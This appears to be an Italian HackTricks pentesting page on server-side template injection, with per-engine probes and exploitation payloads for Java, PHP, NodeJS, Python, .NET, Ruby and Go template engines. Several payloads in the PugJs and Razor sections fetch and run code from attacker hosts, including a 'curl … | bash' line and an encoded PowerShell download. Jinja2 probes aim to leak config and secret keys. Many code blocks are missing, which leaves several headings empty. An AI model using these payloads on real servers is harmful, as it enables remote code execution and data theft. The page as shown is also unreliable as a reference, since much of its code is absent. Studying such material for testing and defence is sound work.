SSTI (Server Side Template Injection)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F197708944-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FE5VfhVAq0qYsgU9deMR8%252Fuploads%252Fgit-blob-9b4be1f505608769d43f6dc95da85f837f25b869%252Fimage%2520%28641%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=d6ce676a&sv=1)
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
What is SSTI (Server-Side Template Injection)
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
Jinja è un popolare motore di template utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
In questo codice vulnerabile, il parametro name
della richiesta dell'utente viene passato direttamente nel template utilizzando la funzione render
. Questo può potenzialmente consentire a un attaccante di iniettare codice malevolo nel parametro name
, portando a un'iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload come questo:
Il payload {{bad-stuff-here}}
è iniettato nel parametro name
. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Rilevamento
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, fuzzing del template è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\
) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
Contesto in chiaro: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es.,
{{7*7}}
,${7*7}
).Contesto di codice: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare
greeting
inhttp://vulnerable-website.com/?greeting=data.username
per vedere se l'output del server è dinamico o fisso, come ingreeting=data.username}}hello
che restituisce il nome utente.
Fase di identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono ${7/0}
, {{7/0}}
, e <%= 7/0 %>
. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
Strumenti
un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
Exploits
Generico
In questa wordlist puoi trovare variabili definite negli ambienti di alcuni dei motori menzionati di seguito:
Java
Java - Iniezione di base
Java - Recupera le variabili d'ambiente del sistema
Java - Recupera /etc/passwd
FreeMarker (Java)
Puoi provare i tuoi payload su https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Niente
${foobar}
Freemarker - Bypass della sandbox
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
Ulteriori informazioni
Nella sezione FreeMarker di https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Ulteriori informazioni
Nella sezione Velocity di https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}
, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
SpringEL:
OGNL:
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, l'inserimento di espressioni è supportato per altre posizioni di template, utilizzando una sintassi come [[...]]
o [(...)]
. Pertanto, un semplice payload di test SSTI potrebbe apparire come [[${7*7}]]
.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver
per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche preprocessing delle espressioni, dove le espressioni all'interno di doppi underscore (__...__
) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
Esempio di Vulnerabilità in Thymeleaf
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
Ulteriori informazioni
Spring Framework (Java)
Bypass filters
È possibile utilizzare più espressioni variabili; se ${...}
non funziona, prova #{...}
, *{...}
, @{...}
o ~{...}
.
Leggi
/etc/passwd
Script personalizzato per la generazione del payload
Ulteriori informazioni
Manipolazione della Vista di Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versione precedente di Pebble ( < versione 3.0.9):
Nuova versione di Pebble :
Jinjava (Java)
Jinjava è un progetto open source sviluppato da Hubspot, disponibile su https://github.com/HubSpot/jinjava/
Jinjava - Esecuzione di comandi
Corretto da https://github.com/HubSpot/jinjava/pull/230
Ulteriori informazioni
Hubspot - HuBL (Java)
delimitatori di dichiarazione
{% %}
delimitatori di espressione
{{ }}
delimitatori di commento
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il progetto Jinjava su Github.
Ulteriori informazioni
Linguaggio di Espressione - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura applicativa più coerente.
Controlla la seguente pagina per saperne di più sull'sfruttamento degli interpreti EL:
EL - Expression LanguageGroovy (Java)
I seguenti bypass del Security Manager sono stati presi da questo writeup.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
Smarty (PHP)
Ulteriori informazioni
Nella sezione Smarty di https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Errore
{{foobar}} Niente
Twig - Formato del template
Ulteriori informazioni
Nella sezione Twig e Twig (Sandboxed) di https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates è un motore di templating nativo per PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
Modello di pagina:
Layout template:
Ulteriori informazioni
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.
authors.tpl
authors.php
Ulteriori informazioni
Jade (NodeJS)
Ulteriori informazioni
Nella sezione Jade di https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
Ulteriori informazioni
Handlebars (NodeJS)
Path Traversal (maggiori informazioni qui).
= Errore
${7*7} = ${7*7}
Niente
Ulteriori informazioni
JsRender (NodeJS)
Template | Descrizione |
Valuta e rende l'output | |
Valuta e rende l'output HTML codificato | |
Commento | |
e | Consenti codice (disabilitato per impostazione predefinita) |
= 49
Lato Client
Lato Server
Ulteriori informazioni
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Esempio di rendering lato server
Ulteriori informazioni
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Nessun output
#{7*7} = #{7*7}
{{console.log(1)}} = Errore
Ulteriori informazioni
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Errore
Ulteriori informazioni
Slim (Ruby)
{ 7 * 7 }
Ulteriori informazioni
Python
Controlla la seguente pagina per imparare trucchi su bypassare l'esecuzione di comandi arbitrari nelle sandbox in python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Errore
{{7*'7'}} = 7777777
Ulteriori informazioni
Jinja2 (Python)
Jinja2 è un motore di template completo per Python. Ha pieno supporto unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
{{7*7}} = Errore
${7*7} = ${7*7}
{{foobar}} Niente
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato del template
RCE non dipendente da __builtins__
:
Maggiori dettagli su come abusare di Jinja:
Jinja2 SSTIAltri payload in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Ulteriori informazioni
Razor (.Net)
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Il metodo .NET System.Diagnostics.Process.Start
può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp
Ulteriori informazioni
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date>
Ulteriori informazioni
Mojolicious (Perl)
Anche se è Perl, utilizza tag come ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Errore
SSTI in GO
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
{{ . }}
: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributoPassword
,{{ .Password }}
potrebbe esporlo.{{printf "%s" "ssti" }}
: Ci si aspetta che visualizzi la stringa "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.
XSS Exploitation
Con il pacchetto text/template
, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto html/template
codifica la risposta per prevenire questo (ad esempio, {{"<script>alert(1)</script>"}}
risulta in <script>alert(1)</script>
). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
L'exploitation RCE differisce significativamente tra html/template
e text/template
. Il modulo text/template
consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non consentita in html/template
. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.
Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo System
che esegue comandi, può essere sfruttato come {{ .System "ls" }}
. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito:
Ulteriori informazioni
Altri Exploit
Controlla il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Aiuto Correlato
Se pensi possa essere utile, leggi:
Strumenti
Lista di Rilevamento Brute-Force
Pratica & Riferimenti
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated